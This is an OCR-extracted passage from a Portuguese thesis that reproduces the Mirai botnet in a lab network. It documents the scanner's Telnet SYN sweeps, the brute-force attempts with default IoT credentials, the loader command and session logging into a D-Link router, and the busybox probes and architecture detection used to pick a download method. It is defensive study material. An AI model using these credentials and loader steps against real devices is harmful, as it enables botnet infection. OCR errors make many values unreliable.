Pi. Além disso, uma grande quantidade de pacotes ARP foram enviados na tentativa de encontrar

dispositivos ativos com o IP incluido no intervalo definido no codigo.
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~| Expression...

No. Time
16 0.463974713
17 0.472109386
18 0.496362383
19 6.528062421
20 0.581796561
21 6.591875821
22 0.624211975
23 0.649741985
24 0.656087126
25 0.687954658
26 0.688011351
27 0.688052483
28 0.752586990
29 0.752631975
30 0.783975200
31 0.980114348
32 b.880168132
33 0.937318726
34 ©.944249554
35 0.969835129
36 0.970049887
37 0.996006024
38 1.008123070
39 1.931503933
40 1.050548924

4

p Frame 1:

Source

PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
PcsCompu_51:
192.168.2.20
192.168.2.10
PcsCompu_51:d5
PcsCompu_51:dS
PcsCompu_51:d5
PcsCompu_51:dS

ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:
ds:

ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad
ad

ad
sad
ad
sad

Destination
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
192.168.2.10
192.168.2.20
Broadcast
Broadcast
Broadcast
Broadcast

Protocol Lengtt info

ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
TELNET
TCP
ARP
ARP
ARP
ARP
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Who has 192.168.2.2127 Tell 192.168.2.20
Who has 192.168.2.2517 Tell 192.168.2.20
Who has 192.168.2.137 Tell 192.168.2.20
Who has 192.168.2.2007 Tell 192.168.2.20
Who has 192.168.3.1377 Tell 192.168.2.20
Who has 192.168.2.1697 Tell 192.168.2.20
Who has 192.168.3.27 Tell 192.168.2.20
Who has 192.168.1.917 Tell 192.168.2.20
Who has 192.168.1.967 Tell 192.168.2.20
Who has 192.168.1.1987 Tell 192.168.2.20
Who has 192.168.1.1857 Tell 192.168.2.20
Who has 192.168.3.557 Tell 192.168.2.20
Who has 192.168.1.1787 Tell 192.168.2.20
Who has 192.168.2.2317 Tell 192.168.2.20
Who has 192.168.1.2417 Tell 192.168.2.20
Who has 192.168.3.155? Tell 192.168.2.20
Who has 192.168.3.1217 Tell 192.168.2.20
Who has 192.168.3.217 Tell 192.168.2.20
Who has 192.168.2.1247 Tell 192.168.2.20
Telnet Data

34462 - 23 [ACK] Seg=1 Ack=30 Win=229 Len=0@
Who has 192.168.2.857 Tell 192.168.2.20
Who has 192.168.1.227 Tell 192.168.2.20
Who has 192.168.2.717 Tell 192.168.2.20
Who has 192.168.3.1687 Tell 192.168.2.20

42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface @

» Ethernet II, Src: PcsCompu_51:d5:ad (©8:00:27:51:d5:ad), Dst: Broadcast (ff:fr:ff:ff:ff:ff)

Address Resolution Protocol (request)

Figura 4.21: Pacotes capturados com o processo de scanner na méaquina cnc-server

0e root@cnc-server: /home/cnc-server/Mirai-Source-Code/mirai/debug

root@cnc-server:/home/cnc-server/Mirai-Source-Code/mirai/debug# ./mirai.dbg

DEBUG MODE YO

[main] We are the only process on this system!

listening tun®

[main] Attempting to connect to CNC

[scanner] Scanner process initialized. Scanning started.
[resolv] Got response from select

[resolv] Found IP address: 1482a8c@®

Resolved cnc.mbotnet.com to 1 IPv4 addresses

[main] Resolved domain

[main] Connected to CNC. Local address =
killer] Trying to kill port 23

[killer] Finding and killing processes holding port 23
Failed to find inode for port 23

[killer] Failed to kill port 23

[killer] Bound to tcp/23 (telnet)

335[718592

[killer] Detected we are running out of ' /home/cnc-server/Mirai-Source-Code/mirai/debug/mirai.dbg"

[killer] Memory scanning processes

[table] Tried to access table.11 but it is
Got SIGSEGV at address: ox@

[scanner] FD5 Attempting to brute found IP
[scanner] FD6 Attempting to brute found IP
[scanner] FD5 connected. Trying root:admin
[scanner] FD6 connected. Trying admin:12345
[scanner] FD5 finished telnet negotiation
[scanner] FD6 connection gracefully closed
[scanner] FD6 lost connection

[scanner] FD6é retrying with different auth combo!
[scanner] FD6 connected. Trying root:xmhdipc

[scanner] FD7 Attempting to brute found IP 192.168.2.20
[scanner] FD8 Attempting to brute found IP 192.168.2.49
[scanner] FD9 Attempting to brute found IP 192.168.2.20
[scanner] FD1@ Attempting to brute found IP 192.168.2.1
[scanner] FD6 connection gracefully closed

[scanner] FD6 lost connection

[scanner] FD6é retrying with different auth combo!
[scanner] FD7 connected. Trying tech:tech

[scanner] FD9 connected. Trying root:xmhdipc

[scanner] FD11 Attempting to brute found IP 192.168.2.1
[scanner] FD8 timed out (state = 1)

[scanner] FD1@ timed out (state = 1)

[scanner] FD6 connected. Trying root:xc3511

[scanner] FD7 connection gracefully closed

[scanner] FD7 lost connection

[scanner] FD7 retrying with different auth combo!
[scanner] FD9 connection gracefully closed

[scanner] FD2 lost connection

[scanner] FD8 retrying with different auth combo!
[scanner] FD11 connected. Trying root:admin

[scanner] FD9 Attempting to brute found IP 192.168.2.49
[scanner] FD5 timed out (state = 3)

[scanner] FD5 retrying with different auth combo!

locked

192.168.2.10
192.168.2.20

Figura 4.22: Apresentagdo no terminal das tentativas de login com o processo de

maquina cnc-server
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Considerando a pequena quantidade de resultados obtidos, o cédigo foi alterado para realizar

o processo de scanner em um intervalo maior de IPs, abrangendo todos os IPs entre 192.168.0.0 e

192.168.255.255. Novamente, o processo foi inicializado tanto no Raspberry Pi como na méquina

cne-server e os resultados podem ser vistos nas Figs.

4.23 a 4.25. Nesse caso, uma imensa

quantidade de pacotes SYN foram enviados para IPs aleatorios, incluindo as portas 23 e 2323. No

Raspberry Pi, durante uma varredura de aproximadamente cinco minutos, 16314 pacotes foram

capturados com o filtro utilizado.

Figura 4.23: Numero de pacotes capturados com o Tcpdump no Raspberry Pi com um intervalo

maior de IPs

Figura 4.24: Exemplificagdo de alguns pacotes capturados com o Tepdump no Raspberry Pi

20:02:15.971121 1P 192.168.2.49.44679 > 192.168.94.26.telnet: Flags [S], seq 3232259610,
win 48279, length 0

20:02:15.995814 IP 192.168.2.49.44679 > 192.168.213.196 telnet: Flags [S], seq 3232290244,
win 48279, length 0

20:02:16.028734 IP 192.168.2.49.44679 > 192.168.174.236.telnet: Flags [S], seq 3232280300,
win 48279, length 0

20:02:16.050205 IP 192.168.2.49.44679 > 192.168.90.79.telnet: Flags [S], seq 3232258639,
win
48279, length 0

20:02:16.051789 IP 192.168.2.49.44679 > 192.168.112.0.telnet: Flags [S], seq 3232264192,
win 48279, length 0

20:02:16.079205 IP 192.168.2.49.44679 > 192.168.195.120.telnet: Flags [S], seq 3232285560,
win 48279, length 0

20:02:16.098283 IP 192.168.2.49.44679 > 192.168.106.215.telnet: Flags [S], seq 3232262871,
win 48279, length 0

20:02:16.112755 1P 192.168.2.49.44679 > 192.168.130.69.2323: Flags [S], seq 3232268869,
win 48279, length 0

20:02:16.182999 IP 192.168.2.49.44679 > 192.168.174.9.telnet: Flags [S], seq 3232280073,
win 48279, length 0

20:02:16.214725 IP 192.168.2.49.44679 > 192.168.142.93.telnet: Flags [S], seq 3232271965,
win 48279, length 0

20:02:16.239121 IP 192.168.2.49.44679 > 192.168.183.19.telnet: Flags [S], seq 3232282387,
win 48279, length 0

20:02:16.417565 IP 192.168.2.49.44679 > 192.168.52.59.2323: Flags [S], seq 3232248891, win
48279, length 0

um intervalo maior de IPs
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(MApeply a display filter ... <Ctrl-/>
No. Time Source Destination Protocol Lengtt Info

=0 -] Expression...

Figura 4.25: Pacotes capturados com o processo de scanner na maquina cnc-server com um

intervalo maior de IPs

Tendo em vista o que foi observado com o processo de scanner no Raspberry Pi e na maquina
cne-server, pode-se dizer que consiste em um processo bastante aleatério e demorado. O dispositivo
realizando a varredura envia de uma quantidade massiva de pacotes SYN para IPs randémicos até
encontrar algum que possua um servigo de acesso remoto habilitado. Em ambos os ambientes
de analise, os pacotes SYN foram enviados apenas para as portas 23 e 2323, padrdes do servigo
Telnet. A botnet possui a funcionalidade de explorar também o servico SSH, porém em nenhum
dos casos foram encontradas tentativas de acesso a esse servigo. Além disso, ao encontrar um
dispositivo com o servico Telnet habilitado, apenas algumas combinacoes de usuario e senha sao
testadas no dispositivo, geralmente uma ou duas. Em seguida, a conexao é encerrada até que novos
dispositivos, ou até mesmo o proprio dispositivo, sejam encontrados pelo processo de scanner. A

escolha da combinagao de credenciais utilizada na tentativa ocorre também de forma aleatéria.

Considerando o exposto, no cenario simulado nesse trabalho, o processo de scanner se torna
extremamente demorado e nao pode ser considerado completamente eficiente. Porém, ao analisa-lo
com a ideia de proporgao, é notério o imenso potencial de varredura de uma botnet. Tendo em
vista que em um cenario de rede local, com apenas um bot realizando esse processo, durante um
periodo de apenas cinco minutos, foram obtidos mais de 16 mil pacotes de dados, pode-se dizer que
em uma botnet real, com milhares de bots conectados, em cerca de uma hora seria possivel realizar

uma varredura da Internet quase inteira. Dessa forma, percebe-se que esse processo é bastante
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dinadmico e proveitoso para o atacante. Ademais, em cenarios reais, com a infraestrutura da botnet
completa, o processo de scanner é utilizado em conjunto com a ferramenta scanListen para gerar

relatorios e envia-los ao servidor loader.

4.3 Cenario com Roteador D-Link

Para esse cenério o objetivo é verificar como se sucede a tentativa de invasao em um roteador
D-Link, visando transforma-lo em bot. Na Tabela 4.3, sao apresentadas as caracteristicas das

maquinas envolvidas diretamente no cenario de ataque e que compoe a botnet.

Servidor C&C | Servidor loader Bot

Nome do host cne-server loader-server (Nenhum)
IP do host 192.168.2.20 192.168.2.30 192.168.2.1

Tabela 4.3: Dispositivos envolvidos no ataque do cenario com roteador D-Link

Considerando os requisitos necessarios para que um dispositivo seja considerado vulneravel,
foi verificado o funcionamento do servigo Telnet e do aplicativo BusyBox. Um acesso remoto foi
realizado, com sucesso, no roteador D-Link pelo servico Telnet e foram utilizados os comandos
wget e tftp para checar a existéncia dessas funcionalidades, conforme apresentado na Fig. 4.26.
Constatou-se que o comando wget nao esté disponivel, porém o comando tftp estd disponivel e é

baseado na plataforma BusyBoz.

2 192.168.2.1 - PUTTY - |

Figura 4.26: Conexao Telnet com Roteador D-Link e apresentagao de comandos wget e tftp

Para iniciar o processo, por meio de um arquivo de extensao TXT (file.txt), os dados necessarios
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para acesso ao dispositivo sao apresentados ao servidor loader no formato descrito na segao 3.4.3,

que inclui IP, porta, usuario e senha de acesso. Em seguida, com o comando:
cat file.txt | . /loader.dbg

o executavel compilado a partir do cédigo contido na pasta loader, tenta realizar o acesso no
dispositivo com IP indicado, pela porta 23 (porta padrao do servigo Telnet), com as credenciais

fornecidas. Esse processo pode ser observado na Fig. 4.27.

Em seguida, o loader reconhece o servico Telnet no dispositivo e consegue estabelecer uma
comunicacao. Apos a comunicagao estabelecida, as credenciais fornecidas sao aplicadas e o servidor
loader consegue acessar o dispositivo com sucesso. Como o executavel esta sendo utilizado no modo
debug, é possivel ver os resultados de cada processo na tela do terminal, apresentados nas Figs.

4.27 e 4.28.

@S 3 root@loader-server: /home/loader-server/Mirai-Source-Code/loader

root@loader-server: /home/loader-server /Mirai-Source-Code/loader# cat file.txt
192.168.2.1:23 admin:admin
root@loader-server: /home/loader-server /Mirai-Source-Code/loader# cat file.txt | ./loader.dbg
bins/dlr.arm is loading...
bins/dlr.arm7 is loading...
bins/dlr.m68k is loading...
bins/dlr.mips is loading...
bins/dlr.mpsl is loading...
bins/dlr.ppc is loading...
bins/dlr.sh4 is loading...
bins/dlr.spc is loading...
bins/dlr.x86 is loading...
[FD13] Called connection open
[FD13] Established connection

N ¢ a4

N: Login:

matched login prompt at 5, ":", "Login: é[Eé[]
TELOUT:

0000 61 64 6d 69 6e
matched password prompt at @,
TELIN: admin
matched password prompt at @, ":", ": admine[i§e[}

wen n, m
H H

matched password prompt at 17, 1 admin
Password: "
TELOUT:

0000 61 64 6d 69 6e
matched any prompt at o,
TELOUT:

0000 od Pa

waemn "
S

Figura 4.27: Inicio do processo do servidor loader e tentativa de Login no servigo Telnet do
Roteador D-Link

Succesfully logged in

2f 62 69 6e 2f 62 75 73 79 62 6T 78 20 70 73 3b /[bin/busybox ps;
20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 45 43 /bin/busybox EC
43 48 49 0d @a CHI..

N:
N: binfbusybox ps; /bin/busybox ECCHI
PID Uid VmSize Stat Command

Figura 4.28: Sucesso na conexao Telnet com Roteador D-Link
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A conexdo Telnet estabelecida com sucesso também pode ser observada pelos pacotes captura-
dos com a ferramenta Wireshark. Nas Figs 4.29 a 4.34 sao apresentados os pacotes do protocolo
Telnet, contendo todos os dados de login, a verificacdo do sucesso no acesso com a exposicao do

prompt do terminal e a apresentagao da plataforma do sistema BusyBoz presente no roteador.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN A0 m[RE Qe=s2EF S S

[N TApply a display filter ... <Ctrl-/>

Q Qe F

No. Time Source Destination Protocol Lengtt Info

. 636859717 a oo a otdoil TCP 66 45763 — 23 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3147845898 TSecr=198381

660051109  192.168.2.1 192.168.2.30 TELNET 78 Telnet Data ...

660069881  192.168.2.30 192.168.2.1 TCP 66 45763 - 23 [ACK] Seq=1 Ack=13 Win=29312 Len=0 TSval-3147045904 TSecr=198386

668178975  192.168.2.30 192.168.2.1 TELNET 69 Telnet Data ...

663075594 192.168.2.1 2 TCP 66 23 — 45763 [ACK] Seq=13 Ack=4 Win=5888 Len=0 TSval=198386 TSecr=3147045904
2 TELNET 75 Telnet Data ...

5 2
5 2
5 2
5 2
5 2
5.663091742 192.168.2.30
3 e
5 2
5 2
5 2
5 2.
5t

5. 664615549 192, g 3 TELNET 73 Telnet Data ...
. 704586788  192.168.2.1 192.168.2.30 TCP 66 23 — 45763 [ACK] Seq=20 Ack=13 Win=5888 Len=0 TSval-198395 TSecr=3147045904
. 7046168052 192.168.2.30 192.168.2.1 TELNET 71 Telnet Data ...
.706418970  192.168.2.1 192.168.2.30 TCP 66 23 — 45763 [ACK] Seq=20 Ack=18 Win=5888 Len=0 TSval=198395 TSecr=3147045915
.708747187 192.168.2.1 192.168.2.30 TELNET 67 Telnet Data ...

5. 751068596 197.168.2.30 192 .168.7.1 TCR ff 457A3 ~ 23 TACK] Sen=1R Ack=21 Win=79317 |en=A TSval=3147045827 TSecr=1983095

Frame 15: 73 bytes on wire (584 bits), 73 bytes captured (584 bits) on interface 0

Ethernet II, Src: D-LinkIn_f9:35:cc (1c:bd:b9:f9:35:cc), Dst: PcsCompu_5f:7e:a7 (08:00:27:5f:Te:a7)
Internet Protocol Version 4, Src: 192.168.2.1, Dst: 192.168.2.38

Transmission Control Protocol, Src Port: 23, Dst Port: 45763, Seq: 13, Ack: 4, Len: 7

Telnet

{vvvw

Figura 4.29: Pacote 15 - Requisigao de login do roteador (192.168.2.1) para o loader (192.168.2.30)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN A0 m[RE Qe=s2EF S S

[N TApply a display filter ... <Ctrl-/>

Q Qe F

No. Time Source Destination Protocol Lengtt Info

5.636859717 a oo a TCP 66 45763 — 23 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3147845898 TSecr=198381
10 5.660051189 192.168.2.1 192. TELNET 78 Telnet Data ...
11 5.660069881  192.168.2.30 192. TCP 66 45763 - 23 [ACK] Seq=1 Ack=13 Win=29312 Len=0 TSval-3147045904 TSecr=198386
12 5.660178975  192.168.2.30 192. TELNET 69 Telnet Data ...
13 5.663075594 192.168.2.1 192. TCP 66 23 — 45763 [ACK] Seq=13 Ack=4 Win=5888 Len=0 TSval=198386 TSecr=3147045904
14 5.663091742  192.168.2.30 192. TELNET 75 Telnet Data ...

5.664615549 oo 73 Telnet Data ...

5.704586788 oo 66 23 — 45763 [ACK] Seq=20 Ack=13 Win=5888 Len=0 TSval-198395 TSecr=3147045904

TELNET 71 Telnet Data ...

192, =in 192. TCP 66 23 — 45763 [ACK] Seq=20 Ack=18 Win=5888 Len=0 TSval=198395 TSecr=3147045915
19 5 708747187 192.168.2.1 192. TELNET 67 Telnet Data ...
20 5.75196RR96 197.168.2.30 192. TCR ff 457A3 ~ 23 TACK] Sen=1R Ack=21 Win=79317 |en=A TSval=3147045827 TSecr=1983095

Frame 17: 71 bytes on wire (568 bits), 71 bytes captured (568 bits) on interface 0

Ethernet II, Src: PcsCompu_5f:7e:a7 (08:00:27:5F:7e:a7), Dst: D-LinkIn_f9:35:cc (1c:bd:b9:f9:35:cc)
Internet Protocol Version 4, Src: 192.168.2.3@, Dst: 192.168.2.1

Transmission Control Protocol, Src Port: 45763, Dst Port: 23, Seq: 13, Ack: 20, Len: §

Telnet

{vvvw

Figura 4.30: Pacote 17 - Fornecimento de usuério: admin do loader (192.168.2.30) para o roteador
(192.168.2.1)
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File Edit View Go

Capture Analyze Statistics Telephony Wireless Tools Help

AN IO SRE A3e=2=EF IS Q] QE
[N]Apply a display filter ... <Ctrl-/>
No. Time Source Destination Protocol Lengtt Info
| 22 5.756230653 192.168.2.30 192.168.2.1 TCcP 66 45763 ~ 23 [ACK] Seq=18 Ack=25 Win=29312 Len-@ TSval=3147845928 TSecr-198484
- 24 7.616808327 192.168.2.38 192.168.2.1 TELNET 68 Telnet Data ...
7.621685821 oo 8.2.30 Telnet Data ...
26 7.621664177 192.168.2.30 192.168.2.1 TCcP 66 45763 ~ 23 [ACK] Seqg=20 Ack=37 Win=20312 Len=@ TSval=3147046394 TSecr=198778
27 7.623234484  192.168.2.30 192.168.2.1 TELNET 71 Telnet Data ...
i 2B 7.638324654 feB@::5eed:eff:fed5.. ff02::1 ICMPvE 150 Router Advertisement from Sc:e3:0e:@5:c8:92
| 29 7.664762305 192.168.2.1 192.168.2.30 TcP B6 23 —~ 45763 [ACK] Seq=37 Ack=25 Win=5888 Len=8 TSval=198787 TSecr=3147846394
31 8.171071061  192.168.100.3 239.255.255.260 S5DP 325 NOTIFY * HTTP/1.1
32 8.174756067 192.168.100.3 239.255.255.250 55DP 389 NOTIFY * HTTP/1.1
33 8.178428179  192.168.100.3 239.255.255.258 SSDP 399 NOTIFY * HTTP/1.1
34 9.647788073 192.168.2.38 192.168.2.1 TELNET 68 Telnet Data ...
35 9.6R2RT7559 182.168.2.1 192.16R.2.30 TCP A6 23 —~ ARTARI TACK] Sen=37 Ack=27 Win=58RA |en=0 TSval=199184 TSecr=3147046900

Frame 25: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface 0

1

i

|

3

» Ethernet II, Src:
» Internet Protocol
13
-

D-LinkIn_f9:35:cc (1c:bd:b9:79:35:cc), Dst: PcsCompu_5T:7e:a7 (0B:00:27:5f:7e:a7r)
Version 4, Src: 192.168.2.1, Dst: 192.168.2.30

Transmission Control Protocol, Src Port: 23, Dst Port: 45763, Seq: 25, Ack: 20, Len: 12

Telnet
Data: \
Data: Password:

Figura 4.31:
(192.168.2.30)

File Edit View Go

Pacote 25 - Requisicdo de password do roteador (192.168.2.1) para o loader

Capture  Analyze Statistics Telephony Wireless Tools Help

— — v, » xq =
Amge RN Qe EFISEQAQAQE

[N]2pply a display filter ... <Ctrl-/>

No. Time Source Destination Protecol Lengtt Info

[ 22 5.756230653 192.168.2.30 192.168.2.1 TCP 66 45763 — 23 [ACK] Seq-18 Ack=25 Win=29312 Len=-0 TSval-3147045928 TSecr-198404
24 7.616800327 192.168. 192.168.2.1 TELNET 68 Telnet Data
25 7.621605821 192.168.2. 30 TELNET 78 Telnet Data ...
26 7.621664177 192.168.2.1 TCP 45763 ~ 23 [ACK] Seq=20 Ack=37 Win=29312 Len=0 TSval=3147046394 TSecr=198778

I 7.623 4 2.1 TELNET Telnet Data ...

28 7.838324654 . TFe2::1 ICMPVG 156 Router Advertisement from 5c:e3:@e:@5:c8:92

‘ 29 7.664762385 192.168.2.30 TCP 66 23 ~ 45763 [ACK] Seq=37 Ack=25 Win=5888 Len=0 TSval=198787 TSecr=3147046394
31 8.171071061 192.168.100.3 239.255.255.250 SSDP 325 NOTIFY * HTTP/1.1
32 8.174756067 192.168.100.3 239.255.255.250 SSDP 389 NOTIFY * HTTP/1.1
33 8.178428179  192.168.100.3 239.255.255.250 SSDP 399 NOTIFY * HTTP/1.1
34 9.647780873 192.168.2.30 192.168.2.1 TELNET 68 Telnet Data ...
35 9.6R2RTTREA 192.168.2.1 192.168.2.30 TC fi 23 —~ AR7R3 TACK] Sen=37 Ack=27 Win=58RA |en=0 TSval=199184 TSecr=3147046900

Frame 27: 71 bytes on wire (568 bits), 71 bytes captured (568 bits) on interface @

I

i

|

3

» Ethernet II, Src:
» Internet Protocol
13
-

PcsCompu_5f:7e:a7 (08:00:27:5F:7e:a7), Dst: D-LinkIn_f9:35:cc (1c:bd:b9:79:35:cc)
Version 4, Src: 192.168.2.30, Dst: 192.168.2.1

Transmission Control Protocol, Src Port: 45763, Dst Port: 23, Seq: 20, Ack: 37, Len: 5

Telnet
Dat

Figura 4.32: Pacote 27 - Fornecimento de senha: admin do loader (192.168.2.30) para o roteador

(192.168.2.1)

File Edit View Go

Capture Analyze Statistics Telephony Wireless Tools Help

= - v ¥ q =
Amae XREQesEFLsEHaaaD
(W] Apply a display filter ... <Ctrl-/=
No. Time Source Destination Protocol Lengtt Info
31 8.171871061 192.168.100.3 239.255.255.250 SSDP 325 NOTIFY * HTTP/1.1
32 8.174756067 192.168.100.3 239.255.255.250 55DP 389 NOTIFY * HTTP/1.1
33 8.178428179  192.168.100.3 239.255.255.250 SSDP 399 NOTIFY * HTTP/1.1
34 9.647780073 192.168.2.30 192.168.2.1 TELNET 68 Telnet Data ...
35 9.652577559 192.168.2.1 192.168.2.30 TCP 66 23 — 45763 [ACK] Seq=37 Ack=27 Win=5888 Len=0 TSval=199184 TSecr=3147046900
|| 5 9.655496979 25 2.3 EE) 78 Telnet coo
37 9.655754772  192.168.2.30 192.168.2.1 TELNET 74 Telnet Data
38 9.660927927 192.168.2.1 192.168.2.30 TELNET 95 Telnet Data
39 9.660946110 192.168.2.30 192.168.2.1 TELNET 77 Telnet Data
46 9.667503798 192.168.2.1 192.168.2.30 TELNET 73 Telnet Data
41 9.667526157 192.168.2.30 192.168.2.1 TELNET 86 Telnet Data
42 9.670578430  192.168.2.1 192.168.2.30 TELNET 86 Telnet Data ...
43 9.712210958 192.168.2.30 192.168.2.1 TCP 66 45763 -~ 23 [ACK] Seq=66 Ack=97 Win=29312 lLen=8 TSval=-3147846917 TSecr=199188
44 9.71R867175 192.168.2.1 192.168.2.38 TFINFT 90 Telnet Data ...

Frame 36: 70 bytes

(vvrv~

Telnet

on wire (560 bits), 76 bytes captured (568 bits) on interface @

Ethernet II, Src: D-LinkIn_f9:35:cc (1c:bd:b9:f89:35:cc), Dst: PcsCompu_5T:7e:a7 (@8:080:27:57:7e:a’)
Internet Protocol Version 4, Src: 192.168.2.1, Dst: 192.168.2.30
Transmission Control Protocol, Src Port: 23, Dst Port: 45763, Seq: 37, Ack: 27, Len: 4

Data: \r\n

Data: >

Figura 4.33: Pacote 36 - Apresenta o prompt do terminal roteador (192.168.2.1)
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Vi) X[C Su=mEF IS5 QQQHE

(W] Apply a display filter ... <Ctrl-/>

No. Time Source Destination Protocol Lengtt Info
40 9.667503798 102.168.2.1 192.168.2.30 TELNET 73 Telnet Data ...
41 9.667526157 192.168.2.30 192.168.2.1 TELNET 86 Telnet Data ...
42 9.670578430  192.168.2.1 192.168.2.30 TELNET 86 Telnet Data ...
43 9.712218958 192.168.2.38 192.168.2.1 TCP 66 45763 —~ 23 [ACK] Seq=66 Ack=97 Win=29312 Len=0 TSval=3147846917 TSecr=199188
44 9,715967175  192.168.2.1 192.168.2.30 TELNET 90 Telnet Data ...
45 9.716036915  192.168.2.30 192.168.2.1 TCP 66 45763 — 23 [ACK] Seq=66 Ack=121 Win=29312 Len=0 TSval-3147046917 TSecr=199197
46 9.T48726702 5 2 .168.2. 30 128 Telnet Data ...
47 9.748779878 192.168.2.38 192.168.2.1 TCP 66 45763 ~ 23 [ACK] Seq=66 Ack=183 Win=29312 Len=0 TSval=3147046926 TSecr=199203
48 9.752078758  192.168.2.1 192.168.2.30 TELNET 68 Telnet Data ...
49 9.752093860 192.168.2.30 192.168.2.1 TCP 66 45763 — 23 [ACK] Seq=66 Ack=185 Win=29312 Len=8 TSval=3147046927 TSecr=199204
50 9.754951645 192.168.2.1 192.168.2.30 TELNET 115 Telnet Data ...
51 9.754965857 192.168.2.38 192.168.2.1 TCP 66 45763 ~ 23 [ACK] Seq=66 Ack=234 Win=29312 Len=0 TSval=3147046927 TSecr=199285
52 9.758945365 192.168.2.1 192.168.2.30 TELNET 68 Telnet Data ...
53 9.75R959412 192 16R.2.30 192 1AR. 2.1 TCE AR 45763 — 73 TACK] Sen=Af Ack=236 Win=29312 |en=A TSval=3147A4A97R TSerr=199205

b Frame 46: 128 bytes on wire (1024 bits), 128 bytes captured (1824 bits) on interface @

» Ethernet II, Src: D-LinkIn_f9:35:cc (1c:bd:b9:f9:35:cc), Dst: PcsCompu 5f:7e:a7 (08:00:27:5f:7e:a7)
» Internet Protocol Version 4, Src: 192.168.2.1, Dst: 192.168.2.30

» Transmission Control Protocel, Src Port: 23, Dst Port: 45763, Seq: 121, Ack: 66, Len: 62

w Telnet

Data: \rin
Data: BusyBox v1.00 (2009.08.18-02:17+0080) Built-in shell (msh)

Figura 4.34: Pacote 46 - Apresenta a plataforma BusyBoz do roteador (192.168.2.1)

Apos acessado remotamente, o dispositivo passa a receber uma série de comandos do servidor
loader, com o objetivo de exercer o fluxo de atividades previstas, respectivamente na ordem em

que sao apresentados na Tabela 4.2.

Primeiramente, o malware visualiza quais processos estao rodando no dispositivo e “mata”
qualquer processo que possa interferir na atividade da botnet, como outros malwares instalados ou
servicos de acesso remoto habilitados. Em seguida, é detectada a arquitetura do processador do
dispositivo para definir qual binario deve ser baixado do servidor para um funcionamento correto
do executavel. No caso do roteador D-Link, a arquitetura encontrada foi mips, indicada na Fig.
4.35. Depois, considerando os métodos de carregamento incluidos no cédigo, deve-se descobrir
quais deles estao disponiveis no dispositivo. A escolha do método usado segue a prioridade na
seguinte ordem: wget, tftp e echo, considerando a disponibilidade no dispositivo. Neste cenario,
como o comando wget nao estava disponivel no dispositivo e o comando tftp estava habilitado a

partir da ferramenta BusyBox, o método de carregamento utilizado foi o #ftp.

As Figs. 4.35, 4.36 e 4.37 mostram o processo de detec¢ao da arquitetura e de defini¢do do
método de carregamento utilizado.Seguidamente é realizado o download do binario baseado na

arquitetura detectada e no método definido, como pode ser observado na Fig. 4.38.
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[FD13] Detected architecture: 'mips’
2f 69 6e 2f 62 75 79 62 6f 78 20 77 67 65 /bin/busybox wge
74 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 t; fbin/busybox
74 74 70 3b 20 2f 69 6e 2f 62 75 73 79 62 tftp; /bin/busyb
6f 20 45 43 43 48 0d Oa ox ECCHI..

/
TELIN: bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
get: applet not found

TELIN: BusyBox v1.00 (2009.08.10-02:17+0000) multi-call binary

Usage: tftp [OPT 1... tftp_server_ip

Update firmware image and configuration data from OR backup configuration
data to a tftp server.

Get file. (Update image/configuration data)
Put file. (backup configuration data)
remote file name.

i for image and c for configuration data.

Figura 4.35: Arquitetura e métodos disponiveis no roteador D-Link

[Wip-addr == 192.168.2.1 [] ~| Expression... =+
No. Time Source Destination Protocol Length Info
] 557 17.803662811 192.168.2.1 192.168.2.30 TELNET 147 Telnet Data ..

558 17.803726852 192.168.2.30 192.168.2.1 TCP 66 33915 — 23 [ACK] Seq=1068 Ack=251932 Win=18483.

559 17.822856846 192.168.
560 17.822963665 192.168.
561 17.843289333 192.168.
562 17.843350745 192.168.
563 17.858539518 192.168.
564 17.858784507 192.168.
565 17.850011883 192.168.

.1 192.168.
.38 192.168.
o | 192.168.
.30 192.168.
1 192.168.
.3e 192.168.
.30 192.168.

30 TELNET 466 Telnet Data ..
1 TCP 66 33915 — 23 [ACK] Seq=1068 Ack=252326 Win=18483.
3e TELNET 71 Telnet Data ..
1 TCP 66 33915 — 23 [ACK] Seq=1068 Ack=252331 Win=18483
30 TELNET 88 Telnet Data ..
1 TCP 66 33915 ~ 23 [ACK] Seq=1068 Ack=252353 Win=18483.
1 TELNET 109 Telnet Data ...

[ERCEEREREECE Oy S CE RN CR Y T Ot
=

13 PR3 B3 R R B3 R RO R A3 R R R
w
=

566 17.902502703 192.168. 192.168. TELNET 67 Telnet Data ..
567 17.944504279 192.168.2.30 192.168.2.1 TCP 66 33915 —~ 23 [ACK] Seq=1111 Ack=252354 Win=18483.
568 17.965196923 192.168.2.1 192.168.2.30 TELNET 188 Telnet Data ..
569 17.965262031 192.168.2.30 192.168.2.1 TCP 66 33915 —~ 23 [ACK] Seq=1111 Ack=252396 Win=18483.
575 18.060548399 192.168.2.1 192.168.2.30 TELNET 123 Telnet Data ..
576 18.860606150 192.168.2.30 192.168.2.1 TCP 66 33915 —~ 23 [ACK] Seq=1111 Ack=252453 Win=18483.
577 18.124215806 192.168.2.1 192.168.2.30 TELNET 91 Telnet Data ..
